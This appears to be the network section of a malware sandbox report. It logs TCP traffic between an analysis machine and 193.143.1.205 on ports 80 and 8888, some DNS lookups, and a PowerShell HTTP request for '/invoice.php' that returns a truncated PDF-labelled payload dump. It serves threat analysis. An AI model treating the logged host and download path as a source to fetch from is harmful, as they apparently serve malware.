Jan 11, 2025 00:09:45.975801945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975812912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975831985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975835085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975845098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975857973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975863934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975872993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975899935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.976737022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.976758003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.976772070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.976783991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.976794004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.976833105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.998951912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.011274099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011364937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011400938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011434078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.011434078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.011456966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011486053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.011493921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011535883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.011545897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011581898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011617899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011626959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.011655092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011688948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011696100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.011723995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011759996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011769056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.011794090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.011837006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.025753975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.025840044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.025892019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.025891066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.025928020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.025995016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026048899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026062965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.026082993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026086092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.026123047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026155949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026171923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.026189089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026222944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026230097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.026256084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026289940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026299000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.026323080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026356936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026361942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.026391029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026423931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.026446104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.062305927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062369108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062393904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.062426090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062469006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.062479019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062516928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062551022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062580109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.062587023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062623024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.062639952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062693119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062731981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.062746048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062796116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062834024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.062849998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062885046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062917948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.062922955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.062969923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063004017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063009024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.063055038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063088894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063093901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.063123941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063163042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.063574076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063627958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063668966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.063678980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063713074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063751936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063756943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.063812971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063858986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.063864946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063916922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063951015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.063956976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064003944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064038992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064042091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064089060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064184904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064203024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064234972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064271927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064290047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064340115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064373970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064378977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064413071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064448118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064450979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064486027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064515114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064532995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064548969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064582109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064583063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064613104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064646959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064652920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064682007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064714909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064733028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064750910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064784050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064795971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064819098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064851999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064866066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064884901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064918041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.064923048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.064955950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065004110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065010071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065042973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065073013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065083027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065129995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065170050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065181017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065216064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065249920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065256119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065279007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065311909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065323114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065346003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065378904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065388918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065414906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065448046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065479994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065481901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065515041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065526009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065548897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065582037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065593004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065615892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065651894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065669060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065685987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065718889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065721989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065752983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065788031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065803051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065823078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065855980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065864086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065891027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065920115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065931082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.065953016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065987110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.065995932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066020966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066054106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066062927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066087008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066122055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066128969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066159964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066195011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066198111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066227913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066263914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066265106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066298008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066332102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066334963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066365004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066399097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066406965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066432953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066467047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066473007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066502094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066534996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066538095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066569090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066602945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066608906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.066638947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.066682100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.099812984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.099878073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.099914074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.099937916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.099948883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.099984884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.099992037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.100018978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.100055933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.100061893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.114412069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114480019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114485979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.114518881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114645004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114680052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.114680052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114717960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114722013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.114754915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114789963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114794016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.114825010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114859104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114862919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.114895105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114929914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.114937067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.114963055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.115000010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.115005016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.147221088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151032925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151096106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151102066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151149035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151185036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151187897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151237011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151272058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151276112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151341915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151380062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151396036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151432037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151467085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151475906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151500940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151535988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151545048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151571989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151608944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151608944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151643991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151678085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151679039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151710987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151746988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151757002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151782036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.151813984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.151817083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.203206062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.309634924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.489772081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.900784016 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.905793905 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:46.905874968 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.906163931 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:46.911005020 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:47.689867020 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:47.734453917 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:48.890613079 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:09:59.899339914 CET	57311	53	192.168.2.5	1.1.1.1
Jan 11, 2025 00:10:12.241657972 CET	61371	53	192.168.2.5	1.1.1.1
Jan 11, 2025 00:10:25.912940025 CET	58178	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 00:09:59.899339914 CET	192.168.2.5	1.1.1.1	0x3953	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:12.241657972 CET	192.168.2.5	1.1.1.1	0x6717	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:10:25.912940025 CET	192.168.2.5	1.1.1.1	0x851b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 00:09:58.904927969 CET	1.1.1.1	192.168.2.5	0x924d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:09:58.904927969 CET	1.1.1.1	192.168.2.5	0x924d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:09:59.906263113 CET	1.1.1.1	192.168.2.5	0x3953	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:10:12.251642942 CET	1.1.1.1	192.168.2.5	0x6717	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:10:25.921942949 CET	1.1.1.1	192.168.2.5	0x851b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:09:44.583026886 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 00:09:45.385885954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:09:45 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 